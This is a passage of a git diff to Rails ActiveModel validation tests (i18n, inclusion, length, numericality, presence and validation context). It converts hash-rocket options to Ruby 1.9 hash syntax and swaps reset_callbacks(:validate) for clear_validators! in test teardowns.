-      Person.validates_format_of :title, validation_options.merge(:with => /\A[1-9][0-9]*\z/)
+      Person.validates_format_of :title, validation_options.merge(with: /\A[1-9][0-9]*\z/)
       @person.title = '72x'
-      @person.errors.expects(:generate_message).with(:title, :invalid, generate_message_options.merge(:value => '72x'))
+      @person.errors.expects(:generate_message).with(:title, :invalid, generate_message_options.merge(value: '72x'))
       @person.valid?
     end
   end
@@ -132,9 +132,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_inclusion_of on generated message #{name}" do
-      Person.validates_inclusion_of :title, validation_options.merge(:in => %w(a b c))
+      Person.validates_inclusion_of :title, validation_options.merge(in: %w(a b c))
       @person.title = 'z'
-      @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(:value => 'z'))
+      @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(value: 'z'))
       @person.valid?
     end
   end
@@ -143,9 +143,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_inclusion_of using :within on generated message #{name}" do
-      Person.validates_inclusion_of :title, validation_options.merge(:within => %w(a b c))
+      Person.validates_inclusion_of :title, validation_options.merge(within: %w(a b c))
       @person.title = 'z'
-      @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(:value => 'z'))
+      @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(value: 'z'))
       @person.valid?
     end
   end
@@ -154,9 +154,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_exclusion_of generated message #{name}" do
-      Person.validates_exclusion_of :title, validation_options.merge(:in => %w(a b c))
+      Person.validates_exclusion_of :title, validation_options.merge(in: %w(a b c))
       @person.title = 'a'
-      @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(:value => 'a'))
+      @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(value: 'a'))
       @person.valid?
     end
   end
@@ -165,9 +165,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_exclusion_of using :within generated message #{name}" do
-      Person.validates_exclusion_of :title, validation_options.merge(:within => %w(a b c))
+      Person.validates_exclusion_of :title, validation_options.merge(within: %w(a b c))
       @person.title = 'a'
-      @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(:value => 'a'))
+      @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(value: 'a'))
       @person.valid?
     end
   end
@@ -178,7 +178,7 @@ class I18nValidationTest < ActiveModel::TestCase
     test "validates_numericality_of generated message #{name}" do
       Person.validates_numericality_of :title, validation_options
       @person.title = 'a'
-      @person.errors.expects(:generate_message).with(:title, :not_a_number, generate_message_options.merge(:value => 'a'))
+      @person.errors.expects(:generate_message).with(:title, :not_a_number, generate_message_options.merge(value: 'a'))
       @person.valid?
     end
   end
@@ -187,9 +187,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_numericality_of for :only_integer on generated message #{name}" do
-      Person.validates_numericality_of :title, validation_options.merge(:only_integer => true)
+      Person.validates_numericality_of :title, validation_options.merge(only_integer: true)
       @person.title = '0.0'
-      @person.errors.expects(:generate_message).with(:title, :not_an_integer, generate_message_options.merge(:value => '0.0'))
+      @person.errors.expects(:generate_message).with(:title, :not_an_integer, generate_message_options.merge(value: '0.0'))
       @person.valid?
     end
   end
@@ -198,9 +198,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_numericality_of for :odd on generated message #{name}" do
-      Person.validates_numericality_of :title, validation_options.merge(:only_integer => true, :odd => true)
+      Person.validates_numericality_of :title, validation_options.merge(only_integer: true, odd: true)
       @person.title = 0
-      @person.errors.expects(:generate_message).with(:title, :odd, generate_message_options.merge(:value => 0))
+      @person.errors.expects(:generate_message).with(:title, :odd, generate_message_options.merge(value: 0))
       @person.valid?
     end
   end
@@ -209,9 +209,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_numericality_of for :less_than on generated message #{name}" do
-      Person.validates_numericality_of :title, validation_options.merge(:only_integer => true, :less_than => 0)
+      Person.validates_numericality_of :title, validation_options.merge(only_integer: true, less_than: 0)
       @person.title = 1
-      @person.errors.expects(:generate_message).with(:title, :less_than, generate_message_options.merge(:value => 1, :count => 0))
+      @person.errors.expects(:generate_message).with(:title, :less_than, generate_message_options.merge(value: 1, count: 0))
       @person.valid?
     end
   end
@@ -226,8 +226,8 @@ class I18nValidationTest < ActiveModel::TestCase
     end
     # test "validates_confirmation_of finds custom model key translation when blank"
     test "#{validation} finds custom model key translation when #{error_type}" do
-      I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message'}}}}}}
-      I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+      I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => 'custom message' } } } } } }
+      I18n.backend.store_translations 'en', errors: { messages: { error_type => 'global message'}}
 
       yield(@person, {})
       @person.valid?
@@ -236,17 +236,17 @@ class I18nValidationTest < ActiveModel::TestCase
 
     # test "validates_confirmation_of finds custom model key translation with interpolation when blank"
     test "#{validation} finds custom model key translation with interpolation when #{error_type}" do
-      I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message with %{extra}'}}}}}}
-      I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+      I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => 'custom message with %{extra}' } } } } } }
+      I18n.backend.store_translations 'en', errors: { messages: {error_type => 'global message'} }
 
-      yield(@person, {:extra => "extra information"})
+      yield(@person, { extra: "extra information" })
       @person.valid?
       assert_equal ['custom message with extra information'], @person.errors[attribute]
     end
 
     # test "validates_confirmation_of finds global default key translation when blank"
     test "#{validation} finds global default key translation when #{error_type}" do
-      I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+      I18n.backend.store_translations 'en', errors: { messages: {error_type => 'global message'} }
 
       yield(@person, {})
       @person.valid?
@@ -264,7 +264,7 @@ class I18nValidationTest < ActiveModel::TestCase
   # validates_acceptance_of w/o mocha
 
   set_expectations_for_validation "validates_acceptance_of", :accepted do |person, options_to_merge|
-    Person.validates_acceptance_of :title, options_to_merge.merge(:allow_nil => false)
+    Person.validates_acceptance_of :title, options_to_merge.merge(allow_nil: false)
   end
 
   # validates_presence_of w/o mocha
@@ -276,36 +276,36 @@ class I18nValidationTest < ActiveModel::TestCase
   # validates_length_of :within w/o mocha
 
   set_expectations_for_validation "validates_length_of", :too_short do |person, options_to_merge|
-    Person.validates_length_of :title, options_to_merge.merge(:within => 3..5)
+    Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
   end
 
   set_expectations_for_validation "validates_length_of", :too_long do |person, options_to_merge|
-    Person.validates_length_of :title, options_to_merge.merge(:within => 3..5)
+    Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
     person.title = "too long"
   end
 
   # validates_length_of :is w/o mocha
 
   set_expectations_for_validation "validates_length_of", :wrong_length do |person, options_to_merge|
-    Person.validates_length_of :title, options_to_merge.merge(:is => 5)
+    Person.validates_length_of :title, options_to_merge.merge(is: 5)
   end
 
   # validates_format_of w/o mocha
 
   set_expectations_for_validation "validates_format_of", :invalid do |person, options_to_merge|
-    Person.validates_format_of :title, options_to_merge.merge(:with => /\A[1-9][0-9]*\z/)
+    Person.validates_format_of :title, options_to_merge.merge(with: /\A[1-9][0-9]*\z/)
   end
 
   # validates_inclusion_of w/o mocha
 
   set_expectations_for_validation "validates_inclusion_of", :inclusion do |person, options_to_merge|
-    Person.validates_inclusion_of :title, options_to_merge.merge(:in => %w(a b c))
+    Person.validates_inclusion_of :title, options_to_merge.merge(in: %w(a b c))
   end
 
   # validates_exclusion_of w/o mocha
 
   set_expectations_for_validation "validates_exclusion_of", :exclusion do |person, options_to_merge|
-    Person.validates_exclusion_of :title, options_to_merge.merge(:in => %w(a b c))
+    Person.validates_exclusion_of :title, options_to_merge.merge(in: %w(a b c))
     person.title = 'a'
   end
 
@@ -319,55 +319,54 @@ class I18nValidationTest < ActiveModel::TestCase
   # validates_numericality_of with :only_integer w/o mocha
 
   set_expectations_for_validation "validates_numericality_of", :not_an_integer do |person, options_to_merge|
-    Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true)
+    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true)
     person.title = '1.0'
   end
 
   # validates_numericality_of :odd w/o mocha
 
   set_expectations_for_validation "validates_numericality_of", :odd do |person, options_to_merge|
-    Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true, :odd => true)
+    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, odd: true)
     person.title = 0
   end
 
   # validates_numericality_of :less_than w/o mocha
 
   set_expectations_for_validation "validates_numericality_of", :less_than do |person, options_to_merge|
-    Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true, :less_than => 0)
+    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, less_than: 0)
     person.title = 1
   end
 
   # test with validates_with
 
   def test_validations_with_message_symbol_must_translate
-    I18n.backend.store_translations 'en', :errors => {:messages => {:custom_error => "I am a custom error"}}
-    Person.validates_presence_of :title, :message => :custom_error
+    I18n.backend.store_translations 'en', errors: { messages: { custom_error: "I am a custom error" } }
+    Person.validates_presence_of :title, message: :custom_error
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
   end
 
   def test_validates_with_message_symbol_must_translate_per_attribute
-    I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {:title => {:custom_error => "I am a custom error"}}}}}}
-    Person.validates_presence_of :title, :message => :custom_error
+    I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { title: { custom_error: "I am a custom error" } } } } } }
+    Person.validates_presence_of :title, message: :custom_error
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
   end
 
   def test_validates_with_message_symbol_must_translate_per_model
-    I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:custom_error => "I am a custom error"}}}}
-    Person.validates_presence_of :title, :message => :custom_error
+    I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { custom_error: "I am a custom error" } } } }
+    Person.validates_presence_of :title, message: :custom_error
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
   end
 
   def test_validates_with_message_string
-    Person.validates_presence_of :title, :message => "I am a custom error"
+    Person.validates_presence_of :title, message: "I am a custom error"
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
   end
-
 end
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index 5e8ca87..3a8f308 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -8,11 +8,11 @@ require 'models/person'
 class InclusionValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validates_inclusion_of_range
-    Topic.validates_inclusion_of( :title, :in => 'aaa'..'bbb' )
+    Topic.validates_inclusion_of(:title, in: 'aaa'..'bbb')
     assert Topic.new("title" => "bbc", "content" => "abc").invalid?
     assert Topic.new("title" => "aa", "content" => "abc").invalid?
     assert Topic.new("title" => "aaab", "content" => "abc").invalid?
@@ -43,7 +43,7 @@ class InclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_inclusion_of
-    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ) )
+    Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ))
 
     assert Topic.new("title" => "a!", "content" => "abc").invalid?
     assert Topic.new("title" => "a b", "content" => "abc").invalid?
@@ -56,16 +56,16 @@ class InclusionValidationTest < ActiveModel::TestCase
     assert t.errors[:title].any?
     assert_equal ["is not included in the list"], t.errors[:title]
 
-    assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => nil ) }
-    assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => 0) }
+    assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: nil) }
+    assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: 0) }
 
-    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => "hi!" ) }
-    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => {} ) }
-    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => [] ) }
+    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: "hi!") }
+    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: {}) }
+    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: []) }
   end
 
   def test_validates_inclusion_of_with_allow_nil
-    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :allow_nil => true )
+    Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), allow_nil: true)
 
     assert Topic.new("title" => "a!", "content" => "abc").invalid?
     assert Topic.new("title" => "",   "content" => "abc").invalid?
@@ -73,7 +73,7 @@ class InclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_inclusion_of_with_formatted_message
-    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :message => "option %{value} is not in the list" )
+    Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), message: "option %{value} is not in the list")
 
     assert Topic.new("title" => "a", "content" => "abc").valid?
 
@@ -84,7 +84,7 @@ class InclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_inclusion_of_with_within_option
-    Topic.validates_inclusion_of( :title, :within => %w( a b c d e f g ) )
+    Topic.validates_inclusion_of(:title, within: %w( a b c d e f g ))
 
     assert Topic.new("title" => "a", "content" => "abc").valid?
 
@@ -94,7 +94,7 @@ class InclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_inclusion_of_for_ruby_class
-    Person.validates_inclusion_of :karma, :in => %w( abe monkey )
+    Person.validates_inclusion_of :karma, in: %w( abe monkey )
 
     p = Person.new
     p.karma = "Lifo"
@@ -105,11 +105,11 @@ class InclusionValidationTest < ActiveModel::TestCase
     p.karma = "monkey"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_inclusion_of_with_lambda
-    Topic.validates_inclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+    Topic.validates_inclusion_of :title, in: lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
 
     t = Topic.new
     t.title = "wasabi"
@@ -121,7 +121,7 @@ class InclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_inclusion_of_with_symbol
-    Person.validates_inclusion_of :karma, :in => :available_karmas
+    Person.validates_inclusion_of :karma, in: :available_karmas
 
     p = Person.new
     p.karma = "Lifo"
@@ -142,6 +142,6 @@ class InclusionValidationTest < ActiveModel::TestCase
 
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
index 8b2f886..046ffcb 100644
--- a/activemodel/test/cases/validations/length_validation_test.rb
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -6,7 +6,7 @@ require 'models/person'
 
 class LengthValidationTest < ActiveModel::TestCase
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validates_length_of_with_allow_nil
@@ -354,7 +354,7 @@ class LengthValidationTest < ActiveModel::TestCase
     p.karma = "The Smiths"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_length_of_for_infinite_maxima
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
index 6742a4b..f77cf47 100644
--- a/activemodel/test/cases/validations/numericality_validation_test.rb
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -9,7 +9,7 @@ require 'bigdecimal'
 class NumericalityValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   NIL = [nil]
@@ -30,84 +30,84 @@ class NumericalityValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_numericality_of_with_nil_allowed
-    Topic.validates_numericality_of :approved, :allow_nil => true
+    Topic.validates_numericality_of :approved, allow_nil: true
 
     invalid!(JUNK + BLANK)
     valid!(NIL + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
   end
 
   def test_validates_numericality_of_with_integer_only
-    Topic.validates_numericality_of :approved, :only_integer => true
+    Topic.validates_numericality_of :approved, only_integer: true
 
     invalid!(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
     valid!(INTEGERS)
   end
 
   def test_validates_numericality_of_with_integer_only_and_nil_allowed
-    Topic.validates_numericality_of :approved, :only_integer => true, :allow_nil => true
+    Topic.validates_numericality_of :approved, only_integer: true, allow_nil: true
 
     invalid!(JUNK + BLANK + FLOATS + BIGDECIMAL + INFINITY)
     valid!(NIL + INTEGERS)
   end
 
   def test_validates_numericality_with_greater_than
-    Topic.validates_numericality_of :approved, :greater_than => 10
+    Topic.validates_numericality_of :approved, greater_than: 10
 
     invalid!([-10, 10], 'must be greater than 10')
     valid!([11])
   end
 
   def test_validates_numericality_with_greater_than_or_equal
-    Topic.validates_numericality_of :approved, :greater_than_or_equal_to => 10
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10
 
     invalid!([-9, 9], 'must be greater than or equal to 10')
     valid!([10])
   end
 
   def test_validates_numericality_with_equal_to
-    Topic.validates_numericality_of :approved, :equal_to => 10
+    Topic.validates_numericality_of :approved, equal_to: 10
 
     invalid!([-10, 11] + INFINITY, 'must be equal to 10')
     valid!([10])
   end
 
   def test_validates_numericality_with_less_than
-    Topic.validates_numericality_of :approved, :less_than => 10
+    Topic.validates_numericality_of :approved, less_than: 10
 
     invalid!([10], 'must be less than 10')
     valid!([-9, 9])
   end
 
   def test_validates_numericality_with_less_than_or_equal_to
-    Topic.validates_numericality_of :approved, :less_than_or_equal_to => 10
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: 10
 
     invalid!([11], 'must be less than or equal to 10')
     valid!([-10, 10])
   end
 
   def test_validates_numericality_with_odd
-    Topic.validates_numericality_of :approved, :odd => true
+    Topic.validates_numericality_of :approved, odd: true
 
     invalid!([-2, 2], 'must be odd')
     valid!([-1, 1])
   end
 
   def test_validates_numericality_with_even
-    Topic.validates_numericality_of :approved, :even => true
+    Topic.validates_numericality_of :approved, even: true
 
     invalid!([-1, 1], 'must be even')
     valid!([-2, 2])
   end
 
   def test_validates_numericality_with_greater_than_less_than_and_even
-    Topic.validates_numericality_of :approved, :greater_than => 1, :less_than => 4, :even => true
+    Topic.validates_numericality_of :approved, greater_than: 1, less_than: 4, even: true
 
     invalid!([1, 3, 4])
     valid!([2])
   end
 
   def test_validates_numericality_with_other_than
-    Topic.validates_numericality_of :approved, :other_than => 0
+    Topic.validates_numericality_of :approved, other_than: 0
 
     invalid!([0, 0.0])
     valid!([-1, 42])
@@ -115,7 +115,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
 
   def test_validates_numericality_with_proc
     Topic.send(:define_method, :min_approved, lambda { 5 })
-    Topic.validates_numericality_of :approved, :greater_than_or_equal_to => Proc.new {|topic| topic.min_approved }
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: Proc.new {|topic| topic.min_approved }
 
     invalid!([3, 4])
     valid!([5, 6])
@@ -124,7 +124,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
 
   def test_validates_numericality_with_symbol
     Topic.send(:define_method, :max_approved, lambda { 5 })
-    Topic.validates_numericality_of :approved, :less_than_or_equal_to => :max_approved
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: :max_approved
 
     invalid!([6])
     valid!([4, 5])
@@ -132,13 +132,13 @@ class NumericalityValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_numericality_with_numeric_message
-    Topic.validates_numericality_of :approved, :less_than => 4, :message => "smaller than %{count}"
+    Topic.validates_numericality_of :approved, less_than: 4, message: "smaller than %{count}"
     topic = Topic.new("title" => "numeric test", "approved" => 10)
 
     assert !topic.valid?
     assert_equal ["smaller than 4"], topic.errors[:approved]
 
-    Topic.validates_numericality_of :approved, :greater_than => 4, :message => "greater than %{count}"
+    Topic.validates_numericality_of :approved, greater_than: 4, message: "greater than %{count}"
     topic = Topic.new("title" => "numeric test", "approved" => 1)
 
     assert !topic.valid?
@@ -146,7 +146,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_numericality_of_for_ruby_class
-    Person.validates_numericality_of :karma, :allow_nil => false
+    Person.validates_numericality_of :karma, allow_nil: false
 
     p = Person.new
     p.karma = "Pix"
@@ -157,15 +157,15 @@ class NumericalityValidationTest < ActiveModel::TestCase
     p.karma = "1234"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_numericality_with_invalid_args
-    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :greater_than_or_equal_to => "foo" }
-    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :less_than_or_equal_to => "foo" }
-    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :greater_than => "foo" }
-    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :less_than => "foo" }
-    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :equal_to => "foo" }
+    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, greater_than_or_equal_to: "foo" }
+    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, less_than_or_equal_to: "foo" }
+    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, greater_than: "foo" }
+    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, less_than: "foo" }
+    assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, equal_to: "foo" }
   end
 
   private
@@ -185,7 +185,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
   end
 
   def with_each_topic_approved_value(values)
-    topic = Topic.new(:title => "numeric test", :content => "whatever")
+    topic = Topic.new(title: "numeric test", content: "whatever")
     values.each do |value|
       topic.approved = value
       yield topic, value
diff --git a/activemodel/test/cases/validations/presence_validation_test.rb b/activemodel/test/cases/validations/presence_validation_test.rb
index 2f228cf..ecf16d1 100644
--- a/activemodel/test/cases/validations/presence_validation_test.rb
+++ b/activemodel/test/cases/validations/presence_validation_test.rb
@@ -8,9 +8,9 @@ require 'models/custom_reader'
 class PresenceValidationTest < ActiveModel::TestCase
 
   teardown do
-    Topic.reset_callbacks(:validate)
-    Person.reset_callbacks(:validate)
-    CustomReader.reset_callbacks(:validate)
+    Topic.clear_validators!
+    Person.clear_validators!
+    CustomReader.clear_validators!
   end
 
   def test_validate_presences
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
index 144532d..699a872 100644
--- a/activemodel/test/cases/validations/validates_test.rb
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -11,26 +11,26 @@ class ValidatesTest < ActiveModel::TestCase
   teardown :reset_callbacks
 
   def reset_callbacks
-    Person.reset_callbacks(:validate)
-    Topic.reset_callbacks(:validate)
-    PersonWithValidator.reset_callbacks(:validate)
+    Person.clear_validators!
+    Topic.clear_validators!
+    PersonWithValidator.clear_validators!
   end
 
   def test_validates_with_messages_empty
-    Person.validates :title, :presence => {:message => "" }
+    Person.validates :title, presence: { message: "" }
     person = Person.new
     assert !person.valid?, 'person should not be valid.'
   end
 
   def test_validates_with_built_in_validation
-    Person.validates :title, :numericality => true
+    Person.validates :title, numericality: true
     person = Person.new
     person.valid?
     assert_equal ['is not a number'], person.errors[:title]
   end
 
   def test_validates_with_attribute_specified_as_string
-    Person.validates "title", :numericality => true
+    Person.validates "title", numericality: true
     person = Person.new
     person.valid?
     assert_equal ['is not a number'], person.errors[:title]
@@ -41,14 +41,14 @@ class ValidatesTest < ActiveModel::TestCase
   end
 
   def test_validates_with_built_in_validation_and_options
-    Person.validates :salary, :numericality => { :message => 'my custom message' }
+    Person.validates :salary, numericality: { message: 'my custom message' }
     person = Person.new
     person.valid?
     assert_equal ['my custom message'], person.errors[:salary]
   end
 
   def test_validates_with_validator_class
-    Person.validates :karma, :email => true
+    Person.validates :karma, email: true
     person = Person.new
     person.valid?
     assert_equal ['is not an email'], person.errors[:karma]
@@ -62,33 +62,33 @@ class ValidatesTest < ActiveModel::TestCase
   end
 
   def test_validates_with_if_as_local_conditions
-    Person.validates :karma, :presence => true, :email => { :unless => :condition_is_true }
+    Person.validates :karma, presence: true, email: { unless: :condition_is_true }
     person = Person.new
     person.valid?
     assert_equal ["can't be blank"], person.errors[:karma]
   end
 
   def test_validates_with_if_as_shared_conditions
-    Person.validates :karma, :presence => true, :email => true, :if => :condition_is_true
+    Person.validates :karma, presence: true, email: true, if: :condition_is_true
     person = Person.new
     person.valid?
     assert_equal ["can't be blank", "is not an email"], person.errors[:karma].sort
   end
 
   def test_validates_with_unless_shared_conditions
-    Person.validates :karma, :presence => true, :email => true, :unless => :condition_is_true
+    Person.validates :karma, presence: true, email: true, unless: :condition_is_true
     person = Person.new
     assert person.valid?
   end
 
   def test_validates_with_allow_nil_shared_conditions
-    Person.validates :karma, :length => { :minimum => 20 }, :email => true, :allow_nil => true
+    Person.validates :karma, length: { minimum: 20 }, email: true, allow_nil: true
     person = Person.new
     assert person.valid?
   end
 
   def test_validates_with_regexp
-    Person.validates :karma, :format => /positive|negative/
+    Person.validates :karma, format: /positive|negative/
     person = Person.new
     assert person.invalid?
     assert_equal ['is invalid'], person.errors[:karma]
@@ -97,7 +97,7 @@ class ValidatesTest < ActiveModel::TestCase
   end
 
   def test_validates_with_array
-    Person.validates :gender, :inclusion => %w(m f)
+    Person.validates :gender, inclusion: %w(m f)
     person = Person.new
     assert person.invalid?
     assert_equal ['is not included in the list'], person.errors[:gender]
@@ -106,7 +106,7 @@ class ValidatesTest < ActiveModel::TestCase
   end
 
   def test_validates_with_range
-    Person.validates :karma, :length => 6..20
+    Person.validates :karma, length: 6..20
     person = Person.new
     assert person.invalid?
     assert_equal ['is too short (minimum is 6 characters)'], person.errors[:karma]
@@ -115,25 +115,25 @@ class ValidatesTest < ActiveModel::TestCase
   end
 
   def test_validates_with_validator_class_and_options
-    Person.validates :karma, :email => { :message => 'my custom message' }
+    Person.validates :karma, email: { message: 'my custom message' }
     person = Person.new
     person.valid?
     assert_equal ['my custom message'], person.errors[:karma]
   end
 
   def test_validates_with_unknown_validator
-    assert_raise(ArgumentError) { Person.validates :karma, :unknown => true }
+    assert_raise(ArgumentError) { Person.validates :karma, unknown: true }
   end
 
   def test_validates_with_included_validator
-    PersonWithValidator.validates :title, :presence => true
+    PersonWithValidator.validates :title, presence: true
     person = PersonWithValidator.new
     person.valid?
     assert_equal ['Local validator'], person.errors[:title]
   end
 
   def test_validates_with_included_validator_and_options
-    PersonWithValidator.validates :title, :presence => { :custom => ' please' }
+    PersonWithValidator.validates :title, presence: { custom: ' please' }
     person = PersonWithValidator.new
     person.valid?
     assert_equal ['Local validator please'], person.errors[:title]
@@ -141,7 +141,7 @@ class ValidatesTest < ActiveModel::TestCase
 
   def test_validates_with_included_validator_and_wildcard_shortcut
     # Shortcut for PersonWithValidator.validates :title, like: { with: "Mr." }
-    PersonWithValidator.validates :title, :like => "Mr."
+    PersonWithValidator.validates :title, like: "Mr."
     person = PersonWithValidator.new
     person.title = "Ms. Pacman"
     person.valid?
@@ -149,7 +149,7 @@ class ValidatesTest < ActiveModel::TestCase
   end
 
   def test_defining_extra_default_keys_for_validates
-    Topic.validates :title, :confirmation => true, :message => 'Y U NO CONFIRM'
+    Topic.validates :title, confirmation: true, message: 'Y U NO CONFIRM'
     topic = Topic.new
     topic.title = "What's happening"
     topic.title_confirmation = "Not this"
diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb
index b795861..005bf11 100644
--- a/activemodel/test/cases/validations/validations_context_test.rb
+++ b/activemodel/test/cases/validations/validations_context_test.rb
@@ -4,10 +4,8 @@ require 'cases/helper'
 require 'models/topic'
 
 class ValidationsContextTest < ActiveModel::TestCase
-
   def teardown
-    Topic.reset_callbacks(:validate)
-    Topic._validators.clear
+    Topic.clear_validators!
   end
 
   ERROR_MESSAGE = "Validation error from validator"
@@ -19,21 +17,34 @@ class ValidationsContextTest < ActiveModel::TestCase
   end
 
   test "with a class that adds errors on create and validating a new model with no arguments" do
-    Topic.validates_with(ValidatorThatAddsErrors, :on => :create)
+    Topic.validates_with(ValidatorThatAddsErrors, on: :create)
     topic = Topic.new
     assert topic.valid?, "Validation doesn't run on valid? if 'on' is set to create"
   end
 
   test "with a class that adds errors on update and validating a new model" do
-    Topic.validates_with(ValidatorThatAddsErrors, :on => :update)
+    Topic.validates_with(ValidatorThatAddsErrors, on: :update)
     topic = Topic.new
     assert topic.valid?(:create), "Validation doesn't run on create if 'on' is set to update"
   end
 
